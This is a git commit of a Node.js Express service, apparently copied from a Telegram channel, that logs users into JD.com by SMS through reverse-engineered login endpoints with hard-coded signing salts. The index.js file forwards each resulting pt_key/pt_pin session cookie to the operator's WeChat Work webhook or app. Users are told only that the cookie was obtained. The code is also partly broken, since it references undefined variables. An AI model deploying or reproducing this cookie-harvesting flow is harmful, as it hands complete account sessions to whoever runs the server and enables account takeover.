master
github 2022-03-08 18:07:26 +08:00
commit 8dd7b4c70d
8 changed files with 10154 additions and 0 deletions

314
index.js 100644
View File

@ -0,0 +1,314 @@
// 填入你的配置,或者通过环境变量传入
const QYWX_KEY =
process.env.QYWX_KEY && process.env.QYWX_KEY.length > 0
? process.env.QYWX_KEY
: '';
// 尽量不用@all除非只有你一个人
const QYWX_AM =
process.env.QYWX_AM && process.env.QYWX_AM.length > 0
? process.env.QYWX_AM
: '';
const express = require('express');
const got = require('got');
const path = require('path');
const bodyParser = require('body-parser');
const app = express();
app.use(bodyParser.json({ limit: '50mb' }));
app.use(bodyParser.urlencoded({ limit: '50mb', extended: true }));
const crypto = require('crypto');
const md5 = function (str) {
const encode = crypto.createHash('md5');
return encode.update(str).digest('hex');
};
/**
* 发送消息推送
*
* @param {*} msg
*/
async function sendMsg(updateMsg, cookie, userMsg) {
// 企业微信群机器人
if (QYWX_KEY) {
try {
await got.post(
`https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=${QYWX_KEY}`,
{
responseType: 'json',
json: {
msgtype: 'text',
text: {
content: `====获取到cookie====\n${updateMsg}\n用户备注:${userMsg}\n${cookie}`,
},
},
}
);
} catch (err) {
console.log({
msg: '企业微信群机器人消息发送失败',
});
}
}
if (QYWX_AM) {
try {
const [corpid, corpsecret, userId, agentid] = QYWX_AM.split(',');
const getToken = await got.post({
url: `https://qyapi.weixin.qq.com/cgi-bin/gettoken`,
json: {
corpid,
corpsecret,
},
headers: {
'Content-Type': 'application/json',
},
timeout: 10000,
});
const accessToken = JSON.parse(getToken.body).access_token;
const res = await got.post({
url: `https://qyapi.weixin.qq.com/cgi-bin/message/send?access_token=${accessToken}`,
json: {
touser: userId,
agentid,
safe: '0',
msgtype: 'text',
text: {
content: `====获取到cookie====\n${updateMsg}\n用户备注:${userMsg}\n${cookie}`,
},
},
headers: {
'Content-Type': 'application/json',
},
timeout: 10000,
});
} catch (err) {
console.log({
msg: '企业微信应用消息发送失败',
});
}
}
}
/**
* 对ck进行处 的流程
*
* @param {*} cookie
* @return {*}
*/
async function cookieFlow(cookie, userMsg) {
try {
await sendMsg(updateMsg, cookie, userMsg);
return msg;
} catch (err) {
return '';
}
}
async function sendSms(phone) {
let appid = 959;
let version = '1.0.0';
let countryCode = 86;
let timestamp = new Date().getTime();
let subCmd = 1;
let gsalt = 'sb2cwlYyaCSN1KUv5RHG3tmqxfEb8NKN';
let gsign = md5('' + appid + version + timestamp + '36' + subCmd + gsalt);
let res = await got.post('https://qapplogin.m.jd.com/cgi-bin/qapp/quick', {
method: 'post',
headers: {
'user-agent':
'Mozilla/5.0 (Linux; Android 10; V1838T Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36 hap/1.9/vivo com.vivo.hybrid/1.9.6.302 com.jd.crplandroidhap/1.0.3 ({packageName:com.vivo.hybrid,type:deeplink,extra:{}})',
'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
'content-type': 'application/x-www-form-urlencoded; charset=utf-8',
'accept-encoding': '',
cookie: '',
},
body:
'client_ver=' +
version +
'&gsign=' +
gsign +
'&appid=' +
appid +
'&return_page=https%3A%2F%2Fcrpl.jd.com%2Fn%2Fmine%3FpartnerId%3DWBTF0KYY%26ADTAG%3Dkyy_mrqd%26token%3D&cmd=36&sdk_ver=1.0.0&sub_cmd=' +
subCmd +
'&qversion=' +
version +
'&ts=' +
timestamp,
dataType: 'json',
});
let data = JSON.parse(res.body).data;
subCmd = 2;
timestamp = new Date().getTime();
gsalt = data.gsalt;
gsign = md5('' + appid + version + timestamp + '36' + subCmd + gsalt);
let sign = md5(
'' +
appid +
version +
countryCode +
phone +
'4dtyyzKF3w6o54fJZnmeW3bVHl0$PbXj'
);
let ck =
'guid=' +
data.guid +
';lsid=' +
data.lsid +
';gsalt=' +
data.gsalt +
';rsa_modulus=' +
data.rsa_modulus +
';';
res = await got.post('https://qapplogin.m.jd.com/cgi-bin/qapp/quick', {
method: 'post',
headers: {
'user-agent':
'Mozilla/5.0 (Linux; Android 10; V1838T Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36 hap/1.9/vivo com.vivo.hybrid/1.9.6.302 com.jd.crplandroidhap/1.0.3 ({packageName:com.vivo.hybrid,type:deeplink,extra:{}})',
'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
'content-type': 'application/x-www-form-urlencoded; charset=utf-8',
'accept-encoding': '',
cookie: ck,
},
body:
'country_code=' +
countryCode +
'&client_ver=' +
version +
'&gsign=' +
gsign +
'&appid=' +
appid +
'&mobile=' +
phone +
'&sign=' +
sign +
'&cmd=36&sub_cmd=' +
subCmd +
'&qversion=' +
version +
'&ts=' +
timestamp,
dataType: 'json',
});
data = JSON.parse(res.body).data;
if (data.err_code > 0) {
return { ok: false, msg: '发送验证码失败:' + data.err_msg };
} else {
return { ok: true, msg: 'success', data: { ck: ck, gsalt: gsalt } };
}
}
async function checkCode(phone, code, gsalt, ck) {
let appid = 959;
let version = '1.0.0';
let countryCode = 86;
let timestamp = new Date().getTime();
let subCmd = 3;
let gsign = md5('' + appid + version + timestamp + '36' + subCmd + gsalt);
let body =
'country_code=' +
countryCode +
'&client_ver=' +
version +
'&gsign=' +
gsign +
'&smscode=' +
code +
'&appid=' +
appid +
'&mobile=' +
phone +
'&cmd=36&sub_cmd=' +
subCmd +
'&qversion=' +
version +
'&ts=' +
timestamp;
res = await got.post('https://qapplogin.m.jd.com/cgi-bin/qapp/quick', {
method: 'post',
headers: {
'user-agent':
'Mozilla/5.0 (Linux; Android 10; V1838T Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/98.0.4758.87 Mobile Safari/537.36 hap/1.9/vivo com.vivo.hybrid/1.9.6.302 com.jd.crplandroidhap/1.0.3 ({packageName:com.vivo.hybrid,type:deeplink,extra:{}})',
'accept-language': 'zh-CN,zh;q=0.9,en;q=0.8',
'content-type': 'application/x-www-form-urlencoded; charset=utf-8',
'accept-encoding': '',
cookie: ck,
},
body: body,
dataType: 'json',
});
let data = JSON.parse(res.body);
return data;
}
/**
* API 发验证码
*/
app.get('/sendSms', async function (request, response) {
try {
const phone = request.query.phone;
if (!new RegExp('\\d{11}').test(phone)) {
response.send({ ok: false, msg: '手机号格式错误' });
return;
}
console.log(phone);
const data = await sendSms(phone);
response.send(data);
} catch (err) {
console.log(err);
response.send({ ok: false, msg: '错误' });
}
});
app.post('/checkCode', async function (request, response) {
try {
const phone = request.query.phone;
if (!new RegExp('\\d{11}').test(phone)) {
response.send({ ok: false, msg: '手机号格式错误' });
return;
}
const code = request.query.code;
if (!new RegExp('\\d{6}').test(code)) {
response.send({ ok: false, msg: '验证码格式错误' });
return;
}
const { gsalt, ck } = request.body;
console.log(phone, code);
const data = await checkCode(phone, code, gsalt, ck);
if (data.err_code > 0) {
response.send({ ok: false, msg: '登录失败:' + r.err_msg });
} else {
const cookie =
'pt_key=' +
data.data.pt_key +
';pt_pin=' +
encodeURIComponent(data.data.pt_pin) +
';';
await cookieFlow(cookie, '短信登录');
response.send({
ok: true,
msg: '获取ck成功',
data: {
ck: cookie,
},
});
}
} catch (err) {
console.log(err);
response.send({ ok: false, msg: '错误' });
}
});
const sleep = (ms) => {
return new Promise((resolve) => {
setTimeout(resolve, ms);
});
};
app.use(express.static(path.join(__dirname, 'public')));
const PORT = 6789;
app.listen(PORT, () => {
console.log(`应用正在监听 ${PORT} 端口!`);
});

23
package.json 100644
View File

@ -0,0 +1,23 @@
{
"dependencies": {
"body-parser": "^1.19.2",
"crypto": "^1.0.1",
"express": "^4.17.3",
"got": "^11.8.2",
"path": "^0.12.7"
},
"devDependencies": {
"serverless": "^3.2.1"
},
"name": "jd_sms_login",
"version": "0.0.1",
"description": "Copy from https://t.me/cheese2024",
"main": "index.js",
"repository": "",
"author": "",
"license": "MIT",
"scripts": {
"deploy": "sls deploy",
"start": "node index.js"
}
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,97 @@
/* c-message组件样式 */
.c-message{
position:fixed;
top:30px;
left:50%;
/* transform:translateX(-50%); */
padding-left:50px;
padding-right:20px;
height: 40px;
line-height: 40px;
background: #fff;
min-width:200px;
color:#666;
box-shadow: 0 2px 4px rgba(0,0,0,.12), 0 0 6px rgba(0,0,0,.04);
z-index:9999;
}
.c-message--icon{
color:#fff;
width: 40px;
height: 40px;
text-align: center;
position: absolute;
left: 0;
top: 0;
line-height: 40px;
}
.c-message--success{
background:#13CE66 url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjQwcHgiIGhlaWdodD0iNDBweCIgdmlld0JveD0iMCAwIDQwIDQwIiB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPgogICAgPCEtLSBHZW5lcmF0b3I6IFNrZXRjaCAzOS4xICgzMTcyMCkgLSBodHRwOi8vd3d3LmJvaGVtaWFuY29kaW5nLmNvbS9za2V0Y2ggLS0+CiAgICA8dGl0bGU+aWNvbl9zdWNjZXNzPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGRlZnM+PC9kZWZzPgogICAgPGcgaWQ9IkVsZW1lbnQtZ3VpZGVsaW5lLXYwLjIuNCIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+CiAgICAgICAgPGcgaWQ9Ik1lc3NhZ2UiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC02MC4wMDAwMDAsIC0yMTIuMDAwMDAwKSI+CiAgICAgICAgICAgIDxnIGlkPSLluKblgL7lkJFf5L+h5oGvIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSg2MC4wMDAwMDAsIDIxMi4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxnIGlkPSJSZWN0YW5nbGUtMiI+CiAgICAgICAgICAgICAgICAgICAgPGcgaWQ9Imljb25fc3VjY2VzcyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUtMiIgZmlsbD0iIzEzQ0U2NiIgeD0iMCIgeT0iMCIgd2lkdGg9IjQwIiBoZWlnaHQ9IjQwIj48L3JlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0yNy44MjU1ODE0LDE3LjE0ODQzNTcgTDE5LjAxNzQ0LDI1LjgyODEyMTMgQzE4LjkwMTE2MDksMjUuOTQyNzA4MyAxOC43NjU1MDMzLDI2IDE4LjYxMDQ2NywyNiBDMTguNDU1NDI3LDI2IDE4LjMxOTc2OTMsMjUuOTQyNzA4MyAxOC4yMDM0ODY1LDI1LjgyODEyMTMgTDE4LjAyOTA3MTYsMjUuNjU2MjUgTDEzLjE3NDQxODYsMjAuODQzNzUgQzEzLjA1ODEzOTUsMjAuNzI5MTYzIDEzLDIwLjU5NTQ4MzcgMTMsMjAuNDQyNzA0NyBDMTMsMjAuMjg5OTI5MyAxMy4wNTgxMzk1LDIwLjE1NjI1IDEzLjE3NDQxODYsMjAuMDQxNjY2NyBMMTQuMzY2Mjc3MiwxOC44NjcxODU3IEMxNC40ODI1NiwxOC43NTI2MDIzIDE0LjYxODIxNzcsMTguNjk1MzEwNyAxNC43NzMyNTc3LDE4LjY5NTMxMDcgQzE0LjkyODI5NCwxOC42OTUzMTA3IDE1LjA2Mzk1MTYsMTguNzUyNjAyMyAxNS4xODAyMzA3LDE4Ljg2NzE4NTcgTDE4LjYxMDQ2NywyMi4yNzYwMzggTDI1LjgxOTc2OTMsMTUuMTcxODcxMyBDMjUuOTM2MDQ4NCwxNS4wNTcyODggMjYuMDcxNzA2LDE1IDI2LjIyNjc0MjMsMTUgQzI2LjM4MTc4MjMsMTUgMjYuNTE3NDQsMTUuMDU3Mjg4IDI2LjYzMzcyMjgsMTUuMTcxODcxMyBMMjcuODI1NTgxNCwxNi4zNDYzNTIzIEMyNy45NDE4NjA1LDE2LjQ2MDkzNTcgMjgsMTYuNTk0NjE1IDI4LDE2Ljc0NzM5NCBDMjgsMTYuOTAwMTczIDI3Ljk0MTg2MDUsMTcuMDMzODUyMyAyNy44MjU1ODE0LDE3LjE0ODQzNTcgTDI3LjgyNTU4MTQsMTcuMTQ4NDM1NyBaIiBpZD0iUGF0aCIgZmlsbD0iI0ZGRkZGRiI+PC9wYXRoPgogICAgICAgICAgICAgICAgICAgIDwvZz4KICAgICAgICAgICAgICAgIDwvZz4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+) no-repeat 0 50%;
}
.c-message--error{
background:#FF4949 url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjQwcHgiIGhlaWdodD0iNDBweCIgdmlld0JveD0iMCAwIDQwIDQwIiB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPgogICAgPCEtLSBHZW5lcmF0b3I6IFNrZXRjaCAzOS4xICgzMTcyMCkgLSBodHRwOi8vd3d3LmJvaGVtaWFuY29kaW5nLmNvbS9za2V0Y2ggLS0+CiAgICA8dGl0bGU+aWNvbl9kYW5nZXI8L3RpdGxlPgogICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+CiAgICA8ZGVmcz48L2RlZnM+CiAgICA8ZyBpZD0iRWxlbWVudC1ndWlkZWxpbmUtdjAuMi40IiBzdHJva2U9Im5vbmUiIHN0cm9rZS13aWR0aD0iMSIgZmlsbD0ibm9uZSIgZmlsbC1ydWxlPSJldmVub2RkIj4KICAgICAgICA8ZyBpZD0iTWVzc2FnZSIgdHJhbnNmb3JtPSJ0cmFuc2xhdGUoLTYwLjAwMDAwMCwgLTMzMi4wMDAwMDApIj4KICAgICAgICAgICAgPGcgaWQ9IuW4puWAvuWQkV/kv6Hmga8iIHRyYW5zZm9ybT0idHJhbnNsYXRlKDYwLjAwMDAwMCwgMzMyLjAwMDAwMCkiPgogICAgICAgICAgICAgICAgPGcgaWQ9IlJlY3RhbmdsZS0yIj4KICAgICAgICAgICAgICAgICAgICA8ZyBpZD0iaWNvbl9kYW5nZXIiPgogICAgICAgICAgICAgICAgICAgICAgICA8cmVjdCBpZD0iUmVjdGFuZ2xlLTIiIGZpbGw9IiNGRjQ5NDkiIHg9IjAiIHk9IjAiIHdpZHRoPSI0MCIgaGVpZ2h0PSI0MCI+PC9yZWN0PgogICAgICAgICAgICAgICAgICAgICAgICA8cGF0aCBkPSJNMjUuODE3MjYyNywxNi4zNDUxNzk2IEMyNS45MzkwOTAyLDE2LjIyMzM0ODMgMjYsMTYuMDc2MTQxOCAyNiwxNS45MDM1NTIzIEMyNiwxNS43MzA5NjI4IDI1LjkzOTA5MDIsMTUuNTgzNzU2MyAyNS44MTcyNjI3LDE1LjQ2MTkyODkgTDI0LjUwNzYxNTcsMTQuMTgyNzQxMSBDMjQuMzg1Nzg4MiwxNC4wNjA5MTM3IDI0LjI0MzY1NzUsMTQgMjQuMDgxMjE5NiwxNCBDMjMuOTE4NzgxNywxNCAyMy43NzY2NTEsMTQuMDYwOTEzNyAyMy42NTQ4MjM1LDE0LjE4Mjc0MTEgTDIwLDE3LjgzNzU2MzUgTDE2LjMxNDcyMTYsMTQuMTgyNzQxMSBDMTYuMTkyODkwMiwxNC4wNjA5MTM3IDE2LjA1MDc1OTUsMTQgMTUuODg4MzIxNiwxNCBDMTUuNzI1ODg3NiwxNCAxNS41ODM3NTY5LDE0LjA2MDkxMzcgMTUuNDYxOTI5NCwxNC4xODI3NDExIEwxNC4xNTIyODI0LDE1LjQ2MTkyODkgQzE0LjA1MDc1ODIsMTUuNTgzNzU2MyAxNCwxNS43MzA5NjI4IDE0LDE1LjkwMzU1MjMgQzE0LDE2LjA3NjE0MTggMTQuMDUwNzU4MiwxNi4yMjMzNDgzIDE0LjE1MjI4MjQsMTYuMzQ1MTc5NiBMMTcuODM3NTYwOCwyMC4wMDAwMDE5IEwxNC4xNTIyODI0LDIzLjY1NDgyNDMgQzE0LjA1MDc1ODIsMjMuNzc2NjUxNyAxNCwyMy45MjM4NTgyIDE0LDI0LjA5NjQ0NzcgQzE0LDI0LjI2OTAzNzIgMTQuMDUwNzU4MiwyNC40MTYyNDM3IDE0LjE1MjI4MjQsMjQuNTM4MDcxMSBMMTUuNDYxOTI5NCwyNS44MTcyNTg5IEMxNS41ODM3NTY5LDI1LjkzOTA4NjMgMTUuNzI1ODg3NiwyNiAxNS44ODgzMjE2LDI2IEMxNi4wNTA3NTk1LDI2IDE2LjE5Mjg5MDIsMjUuOTM5MDg2MyAxNi4zMTQ3MjE2LDI1LjgxNzI1ODkgTDIwLDIyLjE2MjQzNjUgTDIzLjY1NDgyMzUsMjUuODE3MjU4OSBDMjMuNzc2NjUxLDI1LjkzOTA4NjMgMjMuOTE4NzgxNywyNiAyNC4wODEyMTk2LDI2IEMyNC4yNDM2NTc1LDI2IDI0LjM4NTc4ODIsMjUuOTM5MDg2MyAyNC41MDc2MTU3LDI1LjgxNzI1ODkgTDI1LjgxNzI2MjcsMjQuNTM4MDcxMSBDMjUuOTM5MDkwMiwyNC40MTYyNDM3IDI2LDI0LjI2OTAzNzIgMjYsMjQuMDk2NDQ3NyBDMjYsMjMuOTIzODU4MiAyNS45MzkwOTAyLDIzLjc3NjY1MTcgMjUuODE3MjYyNywyMy42NTQ4MjQzIEwyMi4xMzE5ODA0LDIwLjAwMDAwMTkgTDI1LjgxNzI2MjcsMTYuMzQ1MTc5NiBaIiBpZD0iUGF0aCIgZmlsbD0iI0ZGRkZGRiI+PC9wYXRoPgogICAgICAgICAgICAgICAgICAgIDwvZz4KICAgICAgICAgICAgICAgIDwvZz4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+) no-repeat 0 50%;
}
.c-message--info{
background:#20A0FF url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjQwcHgiIGhlaWdodD0iNDBweCIgdmlld0JveD0iMCAwIDQwIDQwIiB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPgogICAgPCEtLSBHZW5lcmF0b3I6IFNrZXRjaCAzOS4xICgzMTcyMCkgLSBodHRwOi8vd3d3LmJvaGVtaWFuY29kaW5nLmNvbS9za2V0Y2ggLS0+CiAgICA8dGl0bGU+aWNvbl9pbmZvPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGRlZnM+PC9kZWZzPgogICAgPGcgaWQ9IkVsZW1lbnQtZ3VpZGVsaW5lLXYwLjIuNCIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+CiAgICAgICAgPGcgaWQ9Ik1lc3NhZ2UiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC02MC4wMDAwMDAsIC0xNTIuMDAwMDAwKSI+CiAgICAgICAgICAgIDxnIGlkPSLluKblgL7lkJFf5L+h5oGvIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSg2MC4wMDAwMDAsIDE1Mi4wMDAwMDApIj4KICAgICAgICAgICAgICAgIDxnIGlkPSJSZWN0YW5nbGUtMiI+CiAgICAgICAgICAgICAgICAgICAgPGcgaWQ9Imljb25faW5mbyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxyZWN0IGlkPSJSZWN0YW5nbGUtMiIgZmlsbD0iIzUwQkZGRiIgeD0iMCIgeT0iMCIgd2lkdGg9IjQwIiBoZWlnaHQ9IjQwIj48L3JlY3Q+CiAgICAgICAgICAgICAgICAgICAgICAgIDxwYXRoIGQ9Ik0yMS42MTUzODQ2LDI2LjU0MzIwOTkgQzIxLjYxNTM4NDYsMjYuOTQ3ODc1MSAyMS40NTgzMzQ4LDI3LjI5MTgzNjggMjEuMTQ0MjMwOCwyNy41NzUxMDI5IEMyMC44MzAxMjY4LDI3Ljg1ODM2ODkgMjAuNDQ4NzE5NCwyOCAyMCwyOCBDMTkuNTUxMjgwNiwyOCAxOS4xNjk4NzMyLDI3Ljg1ODM2ODkgMTguODU1NzY5MiwyNy41NzUxMDI5IEMxOC41NDE2NjUyLDI3LjI5MTgzNjggMTguMzg0NjE1NCwyNi45NDc4NzUxIDE4LjM4NDYxNTQsMjYuNTQzMjA5OSBMMTguMzg0NjE1NCwxOS43NDQ4NTYgQzE4LjM4NDYxNTQsMTkuMzQwMTkwNyAxOC41NDE2NjUyLDE4Ljk5NjIyOSAxOC44NTU3NjkyLDE4LjcxMjk2MyBDMTkuMTY5ODczMiwxOC40Mjk2OTY5IDE5LjU1MTI4MDYsMTguMjg4MDY1OCAyMCwxOC4yODgwNjU4IEMyMC40NDg3MTk0LDE4LjI4ODA2NTggMjAuODMwMTI2OCwxOC40Mjk2OTY5IDIxLjE0NDIzMDgsMTguNzEyOTYzIEMyMS40NTgzMzQ4LDE4Ljk5NjIyOSAyMS42MTUzODQ2LDE5LjM0MDE5MDcgMjEuNjE1Mzg0NiwxOS43NDQ4NTYgTDIxLjYxNTM4NDYsMjYuNTQzMjA5OSBaIE0yMCwxNS44MDQyOTgxIEMxOS40NDQ0NDI3LDE1LjgwNDI5ODEgMTguOTcyMjI0LDE1LjYxOTM2ODcgMTguNTgzMzMzMywxNS4yNDk1MDQ2IEMxOC4xOTQ0NDI3LDE0Ljg3OTY0MDYgMTgsMTQuNDMwNTI1NSAxOCwxMy45MDIxNDkxIEMxOCwxMy4zNzM3NzI2IDE4LjE5NDQ0MjcsMTIuOTI0NjU3NSAxOC41ODMzMzMzLDEyLjU1NDc5MzUgQzE4Ljk3MjIyNCwxMi4xODQ5Mjk1IDE5LjQ0NDQ0MjcsMTIgMjAsMTIgQzIwLjU1NTU1NzMsMTIgMjEuMDI3Nzc2LDEyLjE4NDkyOTUgMjEuNDE2NjY2NywxMi41NTQ3OTM1IEMyMS44MDU1NTczLDEyLjkyNDY1NzUgMjIsMTMuMzczNzcyNiAyMiwxMy45MDIxNDkxIEMyMiwxNC40MzA1MjU1IDIxLjgwNTU1NzMsMTQuODc5NjQwNiAyMS40MTY2NjY3LDE1LjI0OTUwNDYgQzIxLjAyNzc3NiwxNS42MTkzNjg3IDIwLjU1NTU1NzMsMTUuODA0Mjk4MSAyMCwxNS44MDQyOTgxIFoiIGlkPSJDb21iaW5lZC1TaGFwZSIgZmlsbD0iI0ZGRkZGRiI+PC9wYXRoPgogICAgICAgICAgICAgICAgICAgIDwvZz4KICAgICAgICAgICAgICAgIDwvZz4KICAgICAgICAgICAgPC9nPgogICAgICAgIDwvZz4KICAgIDwvZz4KPC9zdmc+) no-repeat 0 50%;
}
.c-message--warning{
background:#F7BA2A url(data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW5kYWxvbmU9Im5vIj8+Cjxzdmcgd2lkdGg9IjQwcHgiIGhlaWdodD0iNDBweCIgdmlld0JveD0iMCAwIDQwIDQwIiB2ZXJzaW9uPSIxLjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPgogICAgPCEtLSBHZW5lcmF0b3I6IFNrZXRjaCAzOS4xICgzMTcyMCkgLSBodHRwOi8vd3d3LmJvaGVtaWFuY29kaW5nLmNvbS9za2V0Y2ggLS0+CiAgICA8dGl0bGU+aWNvbl93YXJuaW5nPC90aXRsZT4KICAgIDxkZXNjPkNyZWF0ZWQgd2l0aCBTa2V0Y2guPC9kZXNjPgogICAgPGRlZnM+PC9kZWZzPgogICAgPGcgaWQ9IlBhZ2UtMSIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+CiAgICAgICAgPGcgaWQ9Ik1lc3NhZ2UiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC02MC4wMDAwMDAsIC0yNzIuMDAwMDAwKSI+CiAgICAgICAgICAgIDxnIGlkPSLluKblgL7lkJFf5L+h5oGvLWNvcHkiIHRyYW5zZm9ybT0idHJhbnNsYXRlKDYwLjAwMDAwMCwgMjcyLjAwMDAwMCkiPgogICAgICAgICAgICAgICAgPGcgaWQ9IlJlY3RhbmdsZS0yIj4KICAgICAgICAgICAgICAgICAgICA8ZyBpZD0iaWNvbl93YXJuaW5nIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHJlY3QgaWQ9IlJlY3RhbmdsZS0yIiBmaWxsPSIjRjdCQTJBIiB4PSIwIiB5PSIwIiB3aWR0aD0iNDAiIGhlaWdodD0iNDAiPjwvcmVjdD4KICAgICAgICAgICAgICAgICAgICAgICAgPHBhdGggZD0iTTIxLjYxNTM4NDYsMjYuNTQzMjA5OSBDMjEuNjE1Mzg0NiwyNi45NDc4NzUxIDIxLjQ1ODMzNDgsMjcuMjkxODM2OCAyMS4xNDQyMzA4LDI3LjU3NTEwMjkgQzIwLjgzMDEyNjgsMjcuODU4MzY4OSAyMC40NDg3MTk0LDI4IDIwLDI4IEMxOS41NTEyODA2LDI4IDE5LjE2OTg3MzIsMjcuODU4MzY4OSAxOC44NTU3NjkyLDI3LjU3NTEwMjkgQzE4LjU0MTY2NTIsMjcuMjkxODM2OCAxOC4zODQ2MTU0LDI2Ljk0Nzg3NTEgMTguMzg0NjE1NCwyNi41NDMyMDk5IEwxOC4zODQ2MTU0LDE5Ljc0NDg1NiBDMTguMzg0NjE1NCwxOS4zNDAxOTA3IDE4LjU0MTY2NTIsMTguOTk2MjI5IDE4Ljg1NTc2OTIsMTguNzEyOTYzIEMxOS4xNjk4NzMyLDE4LjQyOTY5NjkgMTkuNTUxMjgwNiwxOC4yODgwNjU4IDIwLDE4LjI4ODA2NTggQzIwLjQ0ODcxOTQsMTguMjg4MDY1OCAyMC44MzAxMjY4LDE4LjQyOTY5NjkgMjEuMTQ0MjMwOCwxOC43MTI5NjMgQzIxLjQ1ODMzNDgsMTguOTk2MjI5IDIxLjYxNTM4NDYsMTkuMzQwMTkwNyAyMS42MTUzODQ2LDE5Ljc0NDg1NiBMMjEuNjE1Mzg0NiwyNi41NDMyMDk5IFogTTIwLDE1LjgwNDI5ODEgQzE5LjQ0NDQ0MjcsMTUuODA0Mjk4MSAxOC45NzIyMjQsMTUuNjE5MzY4NyAxOC41ODMzMzMzLDE1LjI0OTUwNDYgQzE4LjE5NDQ0MjcsMTQuODc5NjQwNiAxOCwxNC40MzA1MjU1IDE4LDEzLjkwMjE0OTEgQzE4LDEzLjM3Mzc3MjYgMTguMTk0NDQyNywxMi45MjQ2NTc1IDE4LjU4MzMzMzMsMTIuNTU0NzkzNSBDMTguOTcyMjI0LDEyLjE4NDkyOTUgMTkuNDQ0NDQyNywxMiAyMCwxMiBDMjAuNTU1NTU3MywxMiAyMS4wMjc3NzYsMTIuMTg0OTI5NSAyMS40MTY2NjY3LDEyLjU1NDc5MzUgQzIxLjgwNTU1NzMsMTIuOTI0NjU3NSAyMiwxMy4zNzM3NzI2IDIyLDEzLjkwMjE0OTEgQzIyLDE0LjQzMDUyNTUgMjEuODA1NTU3MywxNC44Nzk2NDA2IDIxLjQxNjY2NjcsMTUuMjQ5NTA0NiBDMjEuMDI3Nzc2LDE1LjYxOTM2ODcgMjAuNTU1NTU3MywxNS44MDQyOTgxIDIwLDE1LjgwNDI5ODEgWiIgaWQ9IkNvbWJpbmVkLVNoYXBlIiBmaWxsPSIjRkZGRkZGIiB0cmFuc2Zvcm09InRyYW5zbGF0ZSgyMC4wMDAwMDAsIDIwLjAwMDAwMCkgc2NhbGUoMSwgLTEpIHRyYW5zbGF0ZSgtMjAuMDAwMDAwLCAtMjAuMDAwMDAwKSAiPjwvcGF0aD4KICAgICAgICAgICAgICAgICAgICA8L2c+CiAgICAgICAgICAgICAgICA8L2c+CiAgICAgICAgICAgIDwvZz4KICAgICAgICA8L2c+CiAgICA8L2c+Cjwvc3ZnPg==) no-repeat 0 50%;
}
.c-message--close{
position: absolute;
right: 10px;
color: #999;
text-decoration: none;
cursor: pointer;
font-size: 30px;
top: 0;
line-height: 34px;
display: block;
height: 40px;
}
.c-message--close:hover{
color:#666;
}
@keyframes messageFadeInDown {
0% {
-webkit-transform: translate3d(0,-100%,0);
transform: translate3d(0,-100%,0)
}
100% {
-webkit-transform: none;
transform: none
}
}
.c-message.messageFadeInDown {
-webkit-animation-duration: .6s;
animation-duration: .6s;
-webkit-animation-fill-mode: both;
